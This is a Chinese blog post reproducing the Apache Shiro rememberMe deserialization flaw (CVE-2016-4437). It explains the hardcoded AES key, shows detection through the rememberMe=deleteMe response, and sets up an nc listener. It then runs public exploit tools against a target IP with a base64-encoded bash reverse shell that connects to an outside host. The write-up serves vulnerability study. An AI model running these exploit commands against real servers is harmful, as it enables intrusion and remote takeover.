• 【漏洞复现】shiro 反序列化 (CVE-2016-4437)


    漏洞介绍

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

    在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

    poc

    使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示两个Set-Cookie: rememberMe=deleteMe,说明存在shiro框架可能存在漏洞
    在这里插入图片描述

    exp

    我的vm虚拟机 kali IP: 192.168.100.131

    我的花生壳 映射外网地址 103.46.128.21:49040-> 192.168.100.131:8888
    在这里插入图片描述

    使用Shiro_exploit进行漏洞利用

    项目地址:https://github.com/insightglacier/Shiro_exploit

    检测是否存在shiro漏洞

    python .\shiro_exploit.py -u http://123.58.224.8:25050/
    
    • 1

    在这里插入图片描述
    vulnerable:True表示存在shiro漏洞

    在这里插入图片描述

    反弹shell利用

    • kali 监听
     nc -lnvp 8888
    
    • 1

    在这里插入图片描述

    • 执行利用脚本
    python shiro_exploit.py -t 3 -u  http://123.58.224.8:25050/  -p "bash加密命令"
    # bash命令
    bash -i >& /dev/tcp/103.46.128.21/49040 0>&1
    # bash加密后命令
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuNDYuMTI4LjIxLzQ5MDQwIDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    python shiro_exploit.py -t 3 -u   http://123.58.224.8:25050/  -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDMuNDYuMTI4LjIxLzQ5MDQwIDA+JjE=}|{base64,-d}|{bash,-i}"
    
    • 1

    在这里插入图片描述
    成功反弹shell
    在这里插入图片描述

    使用一键利用工具复现

    项目地址:https://github.com/j1anFen/shiro_attack/releases/tag/2.2

    在这里插入图片描述

    在这里插入图片描述

    扫描工具

    都是能够识别出shiro

    afrog

    在这里插入图片描述

    Yakit

    在这里插入图片描述

  • 相关阅读:
    Tomcat的下载安装与配置
    常见端口及服务
    TypeScript 初学总结
    Cisco Packet Tracer HSRP技术练习
    五大常用算法——贪心算法详解及经典例子
    Redis学习(五)常用命令整理
    设计原则之【里氏替换原则】
    Java设计模式之装饰器模式
    mmm高可用
    华为开发者大会2022:HMS Core 3D建模服务再升级,万物皆可驱动
  • 原文地址:https://blog.csdn.net/qq_52549196/article/details/126329680